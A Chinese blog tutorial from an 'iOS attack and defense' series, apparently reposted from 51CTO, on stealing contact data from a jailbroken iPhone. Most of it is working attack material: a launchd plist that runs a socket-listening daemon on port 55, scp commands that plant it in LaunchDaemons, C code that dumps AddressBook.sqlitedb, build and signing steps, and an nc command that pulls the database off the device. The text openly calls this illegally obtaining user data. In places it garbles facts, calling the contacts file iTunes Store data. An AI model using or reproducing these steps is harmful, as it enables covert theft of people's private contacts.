iOS攻防:如何窃取用户的通讯录信息

说明

2016年7月15更新,最近试了一下,发现用nc拿不到数据了,拿数据的代码是没有问题的,直接运行可以拿到数据,但是从mac通过IP和端口拿到的.sqlitedb文件是空文件,博主也正在看为什么~大家有兴趣可以一起找一下原因。

简介

本文章基于念茜的iOS攻防系列。

本文将会讲解如何窃取用户的通讯录信息。

同样在越狱手机环境下。

hack

1. 需要一个plist

需要这样一个plist,它看起来是这样:  

源文件是这样:

 
  
  1. <?xml version="1.0" encoding="UTF-8"?> 
  2. <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"
  3. <plist version="1.0"
  4. <dict> 
  5. <key>Program</key
  6. <string>/usr/bin/hack</string> 
  7. <key>StandardErrorPath</key
  8. <string>/dev/null</string> 
  9. <key>SessionCreate</key
  10. <true/> 
  11. <key>ProgramArguments</key
  12. <array> 
  13. <string>/usr/bin/hack</string> 
  14. </array> 
  15. <key>inetdCompatibility</key
  16. <dict> 
  17. <key>Wait</key
  18. <false/> 
  19. </dict> 
  20. <key>Sockets</key
  21. <dict> 
  22. <key>Listeners</key
  23. <dict> 
  24. <key>SockServiceName</key
  25. <string>55</string> 
  26. </dict> 
  27. </dict> 
  28. </dict> 
  29. </plist>  

SockServiceName指的是通信名称

将plist文件传送到至iPhone/System/Library/LaunchDaemons/ 下

scp /Users/zhoulingyu/Desktop/hack.plist root@192.168.31.152:/System/Library/LaunchDaemons/hack.plist

2. 了解一下OS X的启动原理

  • mac固件激活,初始化硬件,加载BootX引导器。
  • BootX加载内核与内核扩展(kext)。
  • 内核启动launchd进程。
  • launchd根据/System/Library/LaunchAgents、/System/Library/LaunchDaemons、/Library/LaunchDaemons、Library/LaunchAgents、~/Library/LaunchAgents里的plist配置,启动服务守护进程

解释一下:

LaunchDaemons是用户未登陆前就启动的服务(守护进程)

LaunchAgents是用户登陆后启动的服务(守护进程)

几个目录下plist文件格式及每个字段的含义: 

KEYDESCRIPTIONREQUIRED
LabelThe name of the jobyes
ProgramArgumentsStrings to pass to the program when it is executedyes
UserNameThe job will be run as the given user, who may not necessarily be the one who submitted it to launchd.no
inetdCompatibilityIndicates that the daemon expects to be run as if it were launched by inetdno
ProgramThe path to your executable. This key can save the ProgramArguments key for flags and arguments.no
onDemandA boolean flag that defines if a job runs continuously or notno
RootDirectoryThe job will be?chrooted?into another directoryno
ServiceIPCWhether the daemon can speak IPC to launchdno
WatchPathsAllows launchd to start a job based on modifications at a file-system pathno
QueueDirectoriesSimilar to WatchPath, a queue will only watch an empty directory for new filesno
StartIntervalUsed to schedule a job that runs on a repeating schedule. Specified as the number of seconds to wait between runs.no
StartCalendarIntervalJob scheduling. The syntax is similar to cron.no
HardResourceLimitsControls restriction of the resources consumed by any jobno
LowPriorityIOTells the kernel that this task is of a low priority when doing file system I/Ono
SocketsAn array can be used to specify what socket the daemon will listen on for launch on demandno
 

iOS基本类似,我基本是参照这个来的。

所以上面的plist实际上是要求系统启动一个进程。

一个名为hack的进程,可执行文件的路径是/usr/bin/hack。

3. 编写读取通讯录数据程序

iTunes Store的数据都在/var/mobile/Library/AddressBook/AddressBook.sqlitedb中,只要能能拿出AddressBook.sqlitedb就可以非法拿到用户的数据。

那么现在编写一个程序:

 
  
  1. #include <stdio.h>   
  2. #include <fcntl.h>   
  3. #include <stdlib.h>   
  4.    
  5. #define FILE "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"   
  6.    
  7. int main(){   
  8.     int fd = open(FILE, O_RDONLY);   
  9.     char buf[128];   
  10.     int ret = 0;   
  11.        
  12.     if(fd < 0)   
  13.         return -1;   
  14.     while (( ret = read(fd, buf, sizeof(buf))) > 0){   
  15.         write( fileno(stdout), buf, ret);   
  16.     }   
  17.     close(fd);   
  18.     return 0;   
  19.  

用同样的方法编译、传输:

 
  
  1. xcrun -sdk iphoneos clang -arch armv7 -o hack hack.c 

签名:

 
  
  1. ldid -S hack 
  2. mv hack /usr/bin  

4. 抓取 iTunesstore 数据信息

利用netcat,指定之前定义的服务名称,抓取设备 iTunesstore 信息:

nc 192.168.31.152 55 > itunesstored2.sqlitedb

OK,在MAC查看一下内容。





本文作者:佚名
来源:51CTO
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值